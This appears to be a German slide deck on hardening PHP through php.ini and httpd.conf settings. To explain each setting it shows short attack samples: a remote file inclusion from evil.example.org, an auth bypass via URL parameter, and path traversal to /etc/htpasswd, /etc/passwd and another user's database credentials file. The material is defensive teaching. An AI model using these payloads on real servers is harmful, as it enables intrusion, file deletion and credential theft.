Sicherheitskritische Einstellungen in PHP (php.ini)

1. PHP Direktiven in der php.ini
2. PHP Direktiven in der httpd.conf setzen

register_globals = off

- Globale Variablen können so nicht durch requests initialisiert werden.
- Verwenden von Superglobals:
  - -$_GET[`input´] anstatt $input
  - -$_POST[`input´] anstatt $input
  - -$_SESSION[`input´] anstatt $input

```
<input name="input" value="xyz" type="text">
```

```
<?
$input          // ist leer.
$_POST['input'] // enthält den wert aus dem request (xyz)
?>
```

register_globals = off

Mit register_globals = on könnten beliebige Daten über z.B. die URL injiziert werden.

```
<?
if ($authenticated_user()) {
    $authorized = true;
}

if ($authorized) {
    include ("highly/sensitive/data.php");
}
?>
```

URL: http://www.example.org/?authorized=1

allow_url_fopen = off

- Ist diese Direktive auf `on` gestellt können URLs als gewöhnliche, lokale Files behandelt werden. (Default)

```
<?
include($path.'script.php');
?>
```

?path=http&3A%2F%2Fevil.example.org%2F

```
<?
include('http://evil.example.org/script.php');
?>
```

display_errors = off

- Entwicklungsphase: `display_errors = on` (Default)
- Live-Modus: `display_errors = off`

Warning: main(nofile.php): failed to open stream: No such file or directory in **/home/httpd/vhosts/marcinx.de/httpdocs/index.php** on line **2**

```
../../../../etc/htpasswd
```

```
<input name="tempfile" value="../../../etc/htpasswd" type="text">
```

```
unlink('$tempfile');
```

```
log_errors = on
```

- Komplementär zu `display_errors`

```
error_log = `./errors/errors.log`
```

- Definiert den Speicherort des Error-Logfiles

```
error_reporting = E_ALL
```

- Referenzen auf undefinierte Variablen produzieren in diesem Modus Fehlermeldungen.

safe_mode[_gid] = on/off;

- Prüft bei Zugriffen auf das Dateisystem ob die Benutzerrechte des ausführenden Skripts mit denen der Datei übereinstimmen.

```
-rw-rw-r--    1 rasmus   rasmus        33 Jul   1 19:20 script.php
-rw-r--r--    1 root     root       1116 May 26 18:01 /etc/passwd
```

```php
<?php
 readfile('/etc/passwd');
?>
```

```
Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2
```

open_base_dir = /xxx/htdocs/open

- Beschränkt Dateioperationen auf das angegebene Verzeichnis und unterhalb.

```
ob_start();
readfile('../../htdocs/vhosts/otheruser/inc/mysql_credentials.inc');
$contents = ob_get_contents();
ob_clean();
echo htmlentities($contents);
```

```
Warning: open_basedir restriction in effect. File is in wrong directory in
/docroot/script.php on line 2
```

PHP Direktiven in httpd.conf (Apache)

PHP Direktiven können auch in der httpd.conf gesetzt werden.

```
<Directory /docroot>
  php_admin_value open_basedir /docroot
</Directory>
```

Weitere Sicherheitsüberlegungen

- Formularauthentifizierung (z.B. durch Hash-ID als hidden)
- Sessions wenn möglich in Datenbank speichern
- DB-Access Credentials möglichst als Servervariable ($_SERVER[]) ablegen und nicht als Include-File.
- Alle globalen Variablen initialisieren!
- Whitelist - Approach bei Datenfilterung.

Ende

Danke für die Aufmerksamkeit.